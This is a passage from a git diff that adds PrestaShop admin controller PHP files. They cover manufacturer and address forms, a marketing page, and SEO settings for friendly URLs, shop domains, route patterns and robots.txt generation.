<>;=#{}' + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description:'), + 'name' => 'meta_description', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ), + array( + 'type' => 'tags', + 'label' => $this->l('Meta keywords:'), + 'name' => 'meta_keywords', + 'lang' => true, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}', + 'desc' => $this->l('To add "tags," click inside the field, write something, and then press "Enter."') + ), + array( + 'type' => 'radio', + 'label' => $this->l('Enable:'), + 'name' => 'active', + 'required' => false, + 'class' => 't', + 'is_bool' => true, + 'values' => array( + array( + 'id' => 'active_on', + 'value' => 1, + 'label' => $this->l('Enabled') + ), + array( + 'id' => 'active_off', + 'value' => 0, + 'label' => $this->l('Disabled') + ) + ) + ) + ) + ); + + if (!($manufacturer = $this->loadObject(true))) + return; + + if (Shop::isFeatureActive()) + { + $this->fields_form['input'][] = array( + 'type' => 'shop', + 'label' => $this->l('Shop association:'), + 'name' => 'checkBoxShopAsso', + ); + } + + $this->fields_form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + $image = ImageManager::thumbnail(_PS_MANU_IMG_DIR_.'/'.$manufacturer->id.'.jpg', $this->table.'_'.(int)$manufacturer->id.'.'.$this->imageType, 350, $this->imageType, true); + + $this->fields_value = array( + 'image' => $image ? $image : false, + 'size' => $image ? filesize(_PS_MANU_IMG_DIR_.'/'.$manufacturer->id.'.jpg') / 1000 : false + ); + + foreach ($this->_languages as $language) + { + $this->fields_value['short_description_'.$language['id_lang']] = htmlentities(stripslashes($this->getFieldValue( + $manufacturer, + 'short_description', + $language['id_lang'] + )), ENT_COMPAT, 'UTF-8'); + + $this->fields_value['description_'.$language['id_lang']] = htmlentities(stripslashes($this->getFieldValue( + $manufacturer, + 'description', + $language['id_lang'] + )), ENT_COMPAT, 'UTF-8'); + } + + return parent::renderForm(); + } + + public function renderFormAddress() + { + // Change table and className for addresses + $this->table = 'address'; + $this->className = 'Address'; + $id_address = Tools::getValue('id_address'); + + // Create Object Address + $address = new Address($id_address); + + $form = array( + 'legend' => array( + 'title' => $this->l('Addresses'), + 'image' => '../img/admin/contact.gif' + ) + ); + + if (!$address->id_manufacturer || !Manufacturer::manufacturerExists($address->id_manufacturer)) + $form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Choose the manufacturer:'), + 'name' => 'id_manufacturer', + 'options' => array( + 'query' => Manufacturer::getManufacturers(), + 'id' => 'id_manufacturer', + 'name' => 'name' + ) + ); + else + { + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Manufacturer:'), + 'name' => 'name', + 'disabled' => true, + ); + + $form['input'][] = array( + 'type' => 'hidden', + 'name' => 'id_manufacturer' + ); + } + + $form['input'][] = array( + 'type' => 'hidden', + 'name' => 'alias', + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Last name:'), + 'name' => 'lastname', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' 0-9!<>,;?=+()@#"�{}_$%:' + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('First name:'), + 'name' => 'firstname', + 'size' => 33, + 'required' => true, + 'hint' => $this->l('Invalid characters:').' 0-9!<>,;?=+()@#"�{}_$%:' + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Address:'), + 'name' => 'address1', + 'size' => 33, + 'required' => true, + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Address (2):'), + 'name' => 'address2', + 'size' => 33, + 'required' => false, + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Zip Code/Postal Code'), + 'name' => 'postcode', + 'size' => 33, + 'required' => false, + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('City:'), + 'name' => 'city', + 'size' => 33, + 'required' => true, + ); + $form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('Country:'), + 'name' => 'id_country', + 'required' => false, + 'default_value' => (int)$this->context->country->id, + 'options' => array( + 'query' => Country::getCountries($this->context->language->id), + 'id' => 'id_country', + 'name' => 'name', + ) + ); + $form['input'][] = array( + 'type' => 'select', + 'label' => $this->l('State:'), + 'name' => 'id_state', + 'required' => false, + 'options' => array( + 'query' => array(), + 'id' => 'id_state', + 'name' => 'name' + ) + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Home phone:'), + 'name' => 'phone', + 'size' => 33, + 'required' => false, + ); + $form['input'][] = array( + 'type' => 'text', + 'label' => $this->l('Mobile phone:'), + 'name' => 'phone_mobile', + 'size' => 33, + 'required' => false, + ); + $form['input'][] = array( + 'type' => 'textarea', + 'label' => $this->l('Other:'), + 'name' => 'other', + 'cols' => 36, + 'rows' => 4, + 'required' => false, + 'hint' => $this->l('Forbidden characters:').' <>;=#{}' + ); + $form['submit'] = array( + 'title' => $this->l('Save '), + 'class' => 'button' + ); + + $this->fields_value = array( + 'name' => Manufacturer::getNameById($address->id_manufacturer), + 'alias' => 'manufacturer', + 'id_country' => Configuration::get('PS_COUNTRY_DEFAULT') + ); + + $this->initToolbar(); + $this->fields_form[0]['form'] = $form; + $this->getlanguages(); + $helper = new HelperForm(); + $helper->currentIndex = self::$currentIndex; + $helper->token = $this->token; + $helper->table = $this->table; + $helper->identifier = $this->identifier; + $helper->title = $this->l('Edit Addresses'); + $helper->id = $address->id; + $helper->toolbar_scroll = true; + $helper->languages = $this->_languages; + $helper->default_form_language = $this->default_form_language; + $helper->allow_employee_form_lang = $this->allow_employee_form_lang; + $helper->fields_value = $this->getFieldsValue($address); + $helper->toolbar_btn = $this->toolbar_btn; + $this->content .= $helper->generateForm($this->fields_form); + } + + /** + * AdminController::initToolbar() override + * @see AdminController::initToolbar() + * + */ + public function initToolbar() + { + switch ($this->display) + { + case 'editaddresses': + case 'addaddress': + $this->toolbar_btn['save'] = array( + 'href' => '#', + 'desc' => $this->l('Save') + ); + + // Default cancel button - like old back link + if (!isset($this->no_back) || $this->no_back == false) + { + $back = Tools::safeOutput(Tools::getValue('back', '')); + if (empty($back)) + $back = self::$currentIndex.'&token='.$this->token; + + $this->toolbar_btn['cancel'] = array( + 'href' => $back, + 'desc' => $this->l('Cancel') + ); + } + break; + + default: + parent::initToolbar(); + $this->toolbar_btn['import'] = array( + 'href' => $this->context->link->getAdminLink('AdminImport', true).'&import_type='.$this->table, + 'desc' => $this->l('Import') + ); + } + } + + public function renderView() + { + if (!($manufacturer = $this->loadObject())) + return; + + $addresses = $manufacturer->getAddresses($this->context->language->id); + + $products = $manufacturer->getProductsLite($this->context->language->id); + $total_product = count($products); + for ($i = 0; $i < $total_product; $i++) + { + $products[$i] = new Product($products[$i]['id_product'], false, $this->context->language->id); + $products[$i]->loadStockData(); + /* Build attributes combinations */ + $combinations = $products[$i]->getAttributeCombinations($this->context->language->id); + foreach ($combinations as $k => $combination) + { + $comb_array[$combination['id_product_attribute']]['reference'] = $combination['reference']; + $comb_array[$combination['id_product_attribute']]['ean13'] = $combination['ean13']; + $comb_array[$combination['id_product_attribute']]['upc'] = $combination['upc']; + $comb_array[$combination['id_product_attribute']]['quantity'] = $combination['quantity']; + $comb_array[$combination['id_product_attribute']]['attributes'][] = array( + $combination['group_name'], + $combination['attribute_name'], + $combination['id_attribute'] + ); + } + + if (isset($comb_array)) + { + foreach ($comb_array as $key => $product_attribute) + { + $list = ''; + foreach ($product_attribute['attributes'] as $attribute) + $list .= $attribute[0].' - '.$attribute[1].', '; + $comb_array[$key]['attributes'] = rtrim($list, ', '); + } + isset($comb_array) ? $products[$i]->combination = $comb_array : ''; + unset($comb_array); + } + } + + $this->tpl_view_vars = array( + 'manufacturer' => $manufacturer, + 'addresses' => $addresses, + 'products' => $products, + 'stock_management' => Configuration::get('PS_STOCK_MANAGEMENT'), + 'shopContext' => Shop::getContext(), + ); + + return parent::renderView(); + } + + public function initContent() + { + // toolbar (save, cancel, new, ..) + $this->initToolbar(); + if ($this->display == 'editaddresses' || $this->display == 'addaddress') + $this->content .= $this->renderFormAddress(); + else if ($this->display == 'edit' || $this->display == 'add') + { + if (!$this->loadObject(true)) + return; + $this->content .= $this->renderForm(); + } + else if ($this->display == 'view') + { + // Some controllers use the view action without an object + if ($this->className) + $this->loadObject(true); + $this->content .= $this->renderView(); + } + else if (!$this->ajax) + { + $this->content .= $this->renderList(); + $this->content .= $this->renderOptions(); + } + + $this->context->smarty->assign(array( + 'content' => $this->content, + 'url_post' => self::$currentIndex.'&token='.$this->token, + )); + } + + /** + * AdminController::init() override + * @see AdminController::init() + */ + public function init() + { + parent::init(); + + if (Tools::isSubmit('editaddresses')) + $this->display = 'editaddresses'; + else if (Tools::isSubmit('addaddress')) + $this->display = 'addaddress'; + else if (Tools::isSubmit('submitAddaddress')) + $this->action = 'save'; + else if (Tools::isSubmit('deleteaddress')) + $this->action = 'delete'; + } + + public function initProcess() + { + if (Tools::getValue('submitAddaddress') || Tools::isSubmit('deleteaddress') || Tools::isSubmit('submitBulkdeleteaddress')) + { + $this->table = 'address'; + $this->className = 'Address'; + $this->identifier = 'id_address'; + $this->deleted = true; + } + parent::initProcess(); + } + + protected function afterImageUpload() + { + $res = true; + + /* Generate image with differents size */ + if (($id_manufacturer = (int)Tools::getValue('id_manufacturer')) && + isset($_FILES) && + count($_FILES) && + file_exists(_PS_MANU_IMG_DIR_.$id_manufacturer.'.jpg')) + { + $images_types = ImageType::getImagesTypes('manufacturers'); + foreach ($images_types as $k => $image_type) + { + $res &= ImageManager::resize( + _PS_MANU_IMG_DIR_.$id_manufacturer.'.jpg', + _PS_MANU_IMG_DIR_.$id_manufacturer.'-'.stripslashes($image_type['name']).'.jpg', + (int)$image_type['width'], + (int)$image_type['height'] + ); + } + } + + if (!$res) + $this->errors[] = Tools::displayError('Unable to resize one or more of your pictures.'); + + return $res; + } +} + + diff --git a/controllers/admin/AdminMarketingController.php b/controllers/admin/AdminMarketingController.php new file mode 100755 index 0000000..97f1ff3 --- /dev/null +++ b/controllers/admin/AdminMarketingController.php @@ -0,0 +1,54 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminMarketingControllerCore extends AdminController +{ + + public function initContent() + { + $this->display = 'view'; + return parent::initContent(); + } + + public function initToolbarTitle() + { + $this->toolbar_title = array_unique($this->breadcrumbs); + } + + public function initToolbar() + { + return false; + } + + public function renderView() + { + $this->tpl_view_vars = array( + 'modules_list' => $this->renderModulesList(), + ); + return parent::renderView(); + } +} + diff --git a/controllers/admin/AdminMetaController.php b/controllers/admin/AdminMetaController.php new file mode 100755 index 0000000..6a08f8b --- /dev/null +++ b/controllers/admin/AdminMetaController.php @@ -0,0 +1,659 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class AdminMetaControllerCore extends AdminController +{ + public $table = 'meta'; + public $className = 'Meta'; + public $lang = true; + protected $toolbar_scroll = false; + + public function __construct() + { + parent::__construct(); + + $this->ht_file = _PS_ROOT_DIR_.'/.htaccess'; + $this->rb_file = _PS_ROOT_DIR_.'/robots.txt'; + $this->sm_file = _PS_ROOT_DIR_.'/sitemap.xml'; + $this->rb_data = $this->getRobotsContent(); + + $this->explicitSelect = true; + $this->addRowAction('edit'); + $this->addRowAction('delete'); + $this->bulk_actions = array('delete' => array('text' => $this->l('Delete selected'), 'confirm' => $this->l('Delete selected items?'))); + + $this->fields_list = array( + 'id_meta' => array('title' => $this->l('ID'), 'align' => 'center', 'width' => 25), + 'page' => array('title' => $this->l('Page'), 'width' => 120), + 'title' => array('title' => $this->l('Title'), 'width' => 120), + 'url_rewrite' => array('title' => $this->l('Friendly URL'), 'width' => 120) + ); + $this->_group = 'GROUP BY a.id_meta'; + + // Options to generate friendly urls + $mod_rewrite = Tools::modRewriteActive(); + $general_fields = array( + 'PS_REWRITING_SETTINGS' => array( + 'title' => $this->l('Friendly URL'), + 'desc' => ($mod_rewrite ? $this->l('Enable only if your server allows URL rewriting (recommended).') : ''), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'rewriting_settings', + 'mod_rewrite' => $mod_rewrite + ), + 'PS_ALLOW_ACCENTED_CHARS_URL' => array( + 'title' => $this->l('Accented URL'), + 'desc' => $this->l('Enable if you want to allow accented characters in your friendly URLs.').' '.$this->l('You should only activate this option if you are using non-latin characters ; for all the latin charsets, your SEO will be better without this option.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + 'PS_CANONICAL_REDIRECT' => array( + 'title' => $this->l('Automatically redirect to the canonical URL'), + 'desc' => $this->l('Recommended, but your theme must be compliant.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool' + ), + ); + + $url_description = ''; + if ($this->checkConfiguration($this->ht_file)) + { + $general_fields['PS_HTACCESS_DISABLE_MULTIVIEWS'] = array( + 'title' => $this->l('Disable apache multiviews'), + 'desc' => $this->l('Enable this option only if you have problems with URL rewriting.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + ); + + $general_fields['PS_HTACCESS_DISABLE_MODSEC'] = array( + 'title' => $this->l('Disable apache mod security'), + 'desc' => $this->l('Some features could not work correctly with a specific configuration of apache mod security. We recommend to turn it off.'), + 'validation' => 'isBool', + 'cast' => 'intval', + 'type' => 'bool', + ); + } + else + { + $url_description = $this->l('Before being able to use this tool, you need to:'); + $url_description .= '<br />- '.$this->l('Create a blank .htaccess in your root directory.'); + $url_description .= '<br />- '.$this->l('Give it write permissions (CHMOD 666 on Unix system)'); + } + + // Options to generate robot.txt + $robots_description = $this->l('Your robots.txt file MUST be in your website\'s root directory and nowhere else (e.g. http://www.yoursite.com/robots.txt).'); + if ($this->checkConfiguration($this->rb_file)) + { + $robots_description .= '<br />'.$this->l('Generate your "robots.txt" file by clicking on the following button (this will erase the old robots.txt file)'); + $robots_submit = array('name' => 'submitRobots', 'title' => $this->l('Generate robots.txt file')); + } + else + { + $robots_description .= '<br />'.$this->l('Before being able to use this tool, you need to:'); + $robots_description .= '<br />- '.$this->l('Create a blank robots.txt file in your root directory.'); + $robots_description .= '<br />- '.$this->l('Give it write permissions (CHMOD 666 on Unix system)'); + } + + $robots_options = array( + 'title' => $this->l('Robots file generation'), + 'description' => $robots_description, + ); + + if (isset($robots_submit)) + $robots_options['submit'] = $robots_submit; + + // Options for shop URL if multishop is disabled + $shop_url_options = array( + 'title' => $this->l('Set shop URL'), + 'fields' => array(), + ); + + if (!Shop::isFeatureActive()) + { + $this->url = ShopUrl::getShopUrls($this->context->shop->id)->where('main', '=', 1)->getFirst(); + if ($this->url) + { + $shop_url_options['description'] = $this->l('Here you can set the URL for your shop. If you migrate your shop to a new URL, remember to change the values bellow.'); + $shop_url_options['fields'] = array( + 'domain' => array( + 'title' => $this->l('Shop domain'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 70, + 'defaultValue' => $this->url->domain, + ), + 'domain_ssl' => array( + 'title' => $this->l('SSL domain'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 70, + 'defaultValue' => $this->url->domain_ssl, + ), + 'uri' => array( + 'title' => $this->l('Base URI'), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 70, + 'defaultValue' => $this->url->physical_uri, + ), + ); + } + } + else + $shop_url_options['description'] = $this->l('The multistore option is enabled. If you want to change the URL of your shop, you must go to the "Multistore" page under the "Advanced Parameters" menu.'); + + // List of options + $this->fields_options = array( + 'general' => array( + 'title' => $this->l('Set up URLs'), + 'description' => $url_description, + 'fields' => $general_fields, + 'submit' => array() + ), + 'shop_url' => $shop_url_options + ); + + // Add display route options to options form + if (Configuration::get('PS_REWRITING_SETTINGS')) + { + $this->fields_options['routes'] = array( + 'title' => $this->l('Schema of URLs'), + 'description' => $this->l('Change the pattern of your links. There are some available keywords for each route listed below, keywords with * are required. To add a keyword in your URL use {keyword} syntax. You can add text before or after the keyword if the keyword is not empty with syntax {prepend:keyword:append}. For example {-hey-:meta_title} will add "-hey-my-title" in the URL if the meta title is set. Friendly URL and rewriting Apache option must be activated on your web server to use this functionality.'), + 'fields' => array() + ); + $this->addAllRouteFields(); + } + + $this->fields_options['robots'] = $robots_options; + } + + public function initProcess() + { + parent::initProcess(); + // This is a composite page, we don't want the "options" display mode + if ($this->display == 'options') + $this->display = ''; + } + + public function setMedia() + { + parent::setMedia(); + $this->addJqueryUi('ui.widget'); + $this->addJqueryPlugin('tagify'); + } + + public function addFieldRoute($route_id, $title) + { + $keywords = array(); + foreach (Dispatcher::getInstance()->default_routes[$route_id]['keywords'] as $keyword => $data) + $keywords[] = ((isset($data['param'])) ? '<span class="red">'.$keyword.'*</span>' : $keyword); + + $this->fields_options['routes']['fields']['PS_ROUTE_'.$route_id] = array( + 'title' => $title, + 'desc' => sprintf($this->l('Keywords: %s'), implode(', ', $keywords)), + 'validation' => 'isString', + 'type' => 'text', + 'size' => 70, + 'defaultValue' => Dispatcher::getInstance()->default_routes[$route_id]['rule'], + ); + } + + public function renderForm() + { + $files = Meta::getPages(true, ($this->object->page ? $this->object->page : false)); + $pages = array( + 'common' => array( + 'name' => $this->l('Default pages'), + 'query' => array(), + ), + 'module' => array( + 'name' => $this->l('Modules pages'), + 'query' => array(), + ), + ); + + foreach ($files as $name => $file) + { + $k = (preg_match('#^module-#', $file)) ? 'module' : 'common'; + $pages[$k]['query'][] = array( + 'id' => $file, + 'page' => $name, + ); + } + + $this->fields_form = array( + 'legend' => array( + 'title' => $this->l('Meta tags'), + 'image' => '../img/admin/metatags.gif' + ), + 'input' => array( + array( + 'type' => 'hidden', + 'name' => 'id_meta', + ), + array( + 'type' => 'select', + 'label' => $this->l('Page:'), + 'name' => 'page', + + 'options' => array( + 'optiongroup' => array( + 'label' => 'name', + 'query' => $pages, + ), + 'options' => array( + 'id' => 'id', + 'name' => 'page', + 'query' => 'query', + ), + ), + 'desc' => $this->l('Name of the related page'), + 'required' => true, + 'empty_message' => '<p>'.$this->l('There is no page available!').'</p>', + ), + array( + 'type' => 'text', + 'label' => $this->l('Page title:'), + 'name' => 'title', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'desc' => $this->l('Title of this page'), + 'size' => 30 + ), + array( + 'type' => 'text', + 'label' => $this->l('Meta description:'), + 'name' => 'description', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'desc' => $this->l('A short description of your shop'), + 'size' => 50 + ), + array( + 'type' => 'tags', + 'label' => $this->l('Meta keywords:'), + 'name' => 'keywords', + 'lang' => true, + 'hint' => $this->l('Invalid characters:').' <>;=#{}', + 'desc' => $this->l('List of keywords for search engines').' '.$this->l('To add "tags," click in the field, write something, and then press "Enter."'), + 'size' => 50 + ), + array( + 'type' => 'text', + 'label' => $this->l('Rewritten URL:'), + 'name' => 'url_rewrite', + 'lang' => true, + 'required' => true, + 'hint' => $this->l('Only letters and hyphens are allowed'), + 'desc' => $this->l('e.g. "contacts" for http://mysite.com/shop/contacts to redirect to http://mysite.com/shop/contact-form.php'), + 'size' => 50 + ), + ), + 'submit' => array( + 'title' => $this->l(' Save '), + 'class' => 'button' + ) + ); + return parent::renderForm(); + } + + public function postProcess() + { + if (Tools::isSubmit('submitAddmeta')) + { + $langs = Language::getLanguages(false); + + $default_language = Configuration::get('PS_LANG_DEFAULT'); + if (Tools::getValue('page') != 'index') + { + $defaultLangIsValidated = Validate::isLinkRewrite(Tools::getValue('url_rewrite_'.$default_language)); + $englishLangIsValidated = Validate::isLinkRewrite(Tools::getValue('url_rewrite_1')); + } + else + { // index.php can have empty rewrite rule + $defaultLangIsValidated = !Tools::getValue('url_rewrite_'.$default_language) || Validate::isLinkRewrite(Tools::getValue('url_rewrite_'.$default_language)); + $englishLangIsValidated = !Tools::getValue('url_rewrite_1') || Validate::isLinkRewrite(Tools::getValue('url_rewrite_1')); + } + + if (!$defaultLangIsValidated && !$englishLangIsValidated) + { + $this->errors[] = Tools::displayError('The URL rewrite field must be filled in either the default or English language.'); + return false; + } + + foreach ($langs as $lang) + { + $current = Tools::getValue('url_rewrite_'.$lang['id_lang']); + if (strlen($current) == 0) + // Prioritize default language first + if ($defaultLangIsValidated) + $_POST['url_rewrite_'.$lang['id_lang']] = Tools::getValue('url_rewrite_'.$default_language); + else + $_POST['url_rewrite_'.$lang['id_lang']] = Tools::getValue('url_rewrite_1'); + } + + Hook::exec('actionAdminMetaSave'); + } + else if (Tools::isSubmit('submitRobots')) + $this->generateRobotsFile(); + + return parent::postProcess(); + } + + public function generateRobotsFile() + { + if (!$write_fd = @fopen($this->rb_file, 'w')) + $this->errors[] = sprintf(Tools::displayError('Cannot write into file: %s. Please check write permissions.'), $this->rb_file); + else + { + // PS Comments + fwrite($write_fd, "# robots.txt automaticaly generated by PrestaShop e-commerce open-source solution\n"); + fwrite($write_fd, "# http://www.prestashop.com - http://www.prestashop.com/forums\n"); + fwrite($write_fd, "# This file is to prevent the crawling and indexing of certain parts\n"); + fwrite($write_fd, "# of your site by web crawlers and spiders run by sites like Yahoo!\n"); + fwrite($write_fd, "# and Google. By telling these \"robots\" where not to go on your site,\n"); + fwrite($write_fd, "# you save bandwidth and server resources.\n"); + fwrite($write_fd, "# For more information about the robots.txt standard, see:\n"); + fwrite($write_fd, "# http://www.robotstxt.org/wc/robots.html\n"); + + // User-Agent + fwrite($write_fd, "User-agent: *\n"); + + // Private pages + if (count($this->rb_data['GB'])) + { + fwrite($write_fd, "# Private pages\n"); + foreach ($this->rb_data['GB'] as $gb) + fwrite($write_fd, 'Disallow: /*'.$gb."\n"); + } + + // Directories + if (count($this->rb_data['Directories'])) + { + fwrite($write_fd, "# Directories\n"); + foreach ($this->rb_data['Directories'] as $dir) + fwrite($write_fd, 'Disallow: /*'.$dir."\n"); + } + + // Files + if (count($this->rb_data['Files'])) + { + fwrite($write_fd, "# Files\n"); + foreach ($this->rb_data['Files'] as $iso_code => $files) + foreach ($files as $file) + fwrite($write_fd, 'Disallow: /*'.$iso_code.'/'.$file."\n"); + } + + // Sitemap + if (file_exists($this->sm_file) && filesize($this->sm_file)) + { + fwrite($write_fd, "# Sitemap\n"); + fwrite($write_fd, 'Sitemap: '.(Configuration::get('PS_SSL_ENABLED') ? 'https://' : 'http://').$_SERVER['SERVER_NAME'].__PS_BASE_URI__.'sitemap.xml'."\n"); + } + + fclose($write_fd); + + $this->redirect_after = self::$currentIndex.'&conf=4&token='.$this->token; + } + } + + public function getList($id_lang, $orderBy = null, $orderWay = null, $start = 0, $limit = null, $id_lang_shop = false) + { + parent::getList($id_lang, $orderBy, $orderWay, $start, $limit, Context::getContext()->shop->id); + } + + public function renderList() + { + if (Shop::isFeatureActive() && Shop::getContext() != Shop::CONTEXT_SHOP) + $this->displayInformation($this->l('You can only display the page list in a shop context.')); + else + return parent::renderList(); + } + + /** + * Validate route syntax and save it in configuration + * + * @param string $route_id + */ + public function checkAndUpdateRoute($route_id) + { + $default_routes = Dispatcher::getInstance()->default_routes; + if (!isset($default_routes[$route_id])) + return; + + $rule = Tools::getValue('PS_ROUTE_'.$route_id); + if (!Validate::isRoutePattern($rule)) + $this->errors[] = sprintf('The route %s is not valid', htmlspecialchars($rule)); + else + { + if (!$rule || $rule == $default_routes[$route_id]['rule']) + { + Configuration::updateValue('PS_ROUTE_'.$route_id, ''); + return; + } + + $errors = array(); + if (!Dispatcher::getInstance()->validateRoute($route_id, $rule, $errors)) + { + foreach ($errors as $error) + $this->errors[] = sprintf('Keyword "{%1$s}" required for route "%2$s" (rule: "%3$s")', $error, $route_id, htmlspecialchars($rule)); + } + else + Configuration::updateValue('PS_ROUTE_'.$route_id, $rule); + } + + } + + /** + * Called when PS_REWRITING_SETTINGS option is saved + */ + public function updateOptionPsRewritingSettings() + { + Configuration::updateValue('PS_REWRITING_SETTINGS', (int)Tools::getValue('PS_REWRITING_SETTINGS')); + Tools::generateHtaccess($this->ht_file, null, null, '', Tools::getValue('PS_HTACCESS_DISABLE_MULTIVIEWS'), false, Tools::getValue('PS_HTACCESS_DISABLE_MODSEC')); + + Tools::enableCache(); + Tools::clearCache($this->context->smarty); + Tools::restoreCacheSettings(); + } + + public function updateOptionPsRouteProductRule() + { + $this->checkAndUpdateRoute('product_rule'); + } + + public function updateOptionPsRouteCategoryRule() + { + $this->checkAndUpdateRoute('category_rule'); + } + + public function updateOptionPsRouteLayeredRule() + { + $this->checkAndUpdateRoute('layered_rule'); + } + + public function updateOptionPsRouteSupplierRule() + { + $this->checkAndUpdateRoute('supplier_rule'); + } + + public function updateOptionPsRouteManufacturerRule() + { + $this->checkAndUpdateRoute('manufacturer_rule'); + } + + public function updateOptionPsRouteCmsRule() + { + $this->checkAndUpdateRoute('cms_rule'); + } + + public function updateOptionPsRouteCmsCategoryRule() + { + $this->checkAndUpdateRoute('cms_category_rule'); + } + + /** + * Update shop domain (for mono shop) + */ + public function updateOptionDomain($value) + { + if (!Shop::isFeatureActive() && $this->url && $this->url->domain != $value) + { + if (Validate::isCleanHtml($value)) + { + $this->url->domain = $value; + $this->url->update(); + } + else + $this->errors[] = Tools::displayError('This domain is not valid.'); + } + } + + /** + * Update shop SSL domain (for mono shop) + */ + public function updateOptionDomainSsl($value) + { + if (!Shop::isFeatureActive() && $this->url && $this->url->domain_ssl != $value) + { + if (Validate::isCleanHtml($value)) + { + $this->url->domain_ssl = $value; + $this->url->update(); + } + else + $this->errors[] = Tools::displayError('The SSL domain is not valid.'); + } + } + + /** + * Update shop physical uri for mono shop) + */ + public function updateOptionUri($value) + { + if (!Shop::isFeatureActive() && $this->url && $this->url->physical_uri != $value) + { + $this->url->physical_uri = $value; + $this->url->update(); + } + } + + /** + * Function used to render the options for this controller + */ + public function renderOptions() + { + // If friendly url is not active, do not display custom routes form + if (Configuration::get('PS_REWRITING_SETTINGS')) + $this->addAllRouteFields(); + + if ($this->fields_options && is_array($this->fields_options)) + { + $helper = new HelperOptions($this); + $this->setHelperDisplay($helper); + $helper->toolbar_scroll = true; + $helper->toolbar_btn = array('save' => array( + 'href' => '#', + 'desc' => $this->l('Save') + )); + $helper->id = $this->id; + $helper->tpl_vars = $this->tpl_option_vars; + $options = $helper->generateOptions($this->fields_options); + + return $options; + } + } + + /** + * Add all custom route fields to the options form + */ + public function addAllRouteFields() + { + $this->addFieldRoute('product_rule', $this->l('Route to products')); + $this->addFieldRoute('category_rule', $this->l('Route to category')); + $this->addFieldRoute('layered_rule', $this->l('Route to category with attribute selected_filter for the module block layered')); + $this->addFieldRoute('supplier_rule', $this->l('Route to supplier')); + $this->addFieldRoute('manufacturer_rule', $this->l('Route to manufacturer')); + $this->addFieldRoute('cms_rule', $this->l('Route to CMS page')); + $this->addFieldRoute('cms_category_rule', $this->l('Route to CMS category')); + $this->addFieldRoute('module', $this->l('Route to modules')); + } + + /** + * Check if a file is writable + * + * @param string $file + * @return bool + */ + public function checkConfiguration($file) + { + if (file_exists($file)) + return is_writable($file); + return is_writable(dirname($file)); + } + + public function getRobotsContent() + { + $tab = array(); + + // Directories + $tab['Directories'] = array('classes/', 'config/', 'download/', 'mails/', 'modules/', 'translations/', 'tools/'); + + // Files + $disallow_controllers = array( + 'addresses', 'address', 'authentication', 'cart', 'discount', 'footer', + 'get-file', 'header', 'history', 'identity', 'images.inc', 'init', 'my-account', 'order', 'order-opc', + 'order-slip', 'order-detail', 'order-follow', 'order-return', 'order-confirmation', 'pagination', 'password', + 'pdf-invoice', 'pdf-order-return', 'pdf-order-slip', 'product-sort', 'search', 'statistics','attachment', 'guest-tracking' + ); + + // Rewrite files + $tab['Files'] = array(); + if (Configuration::get('PS_REWRITING_SETTINGS')) + { + $sql = 'SELECT ml.url_rewrite, l.iso_code + FROM '._DB_PREFIX_.'meta m + INNER JOIN '._DB_PREFIX_.'meta_lang ml ON ml.id_meta = m.id_meta + INNER JOIN '._DB_PREFIX_.'lang l ON l.id_lang = ml.id_lang + WHERE l.active = 1 AND m.page IN (\''.implode('\', \'', $disallow_controllers).'\')'; + if ($results = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS($sql)) + foreach ($results as $row) + $tab['Files'][$row['iso_code']][] = $row['url_rewrite']; + } + + $tab['GB'] = array( + 'orderby=','orderway=','tag=','id_currency=','search_query=','back=','utm_source=','utm_medium=','utm_campaign=','n=' + ); + + foreach ($disallow_controllers as $controller) + $tab['GB'][] = 'controller='.$controller; + + return $tab; + } +} diff --git 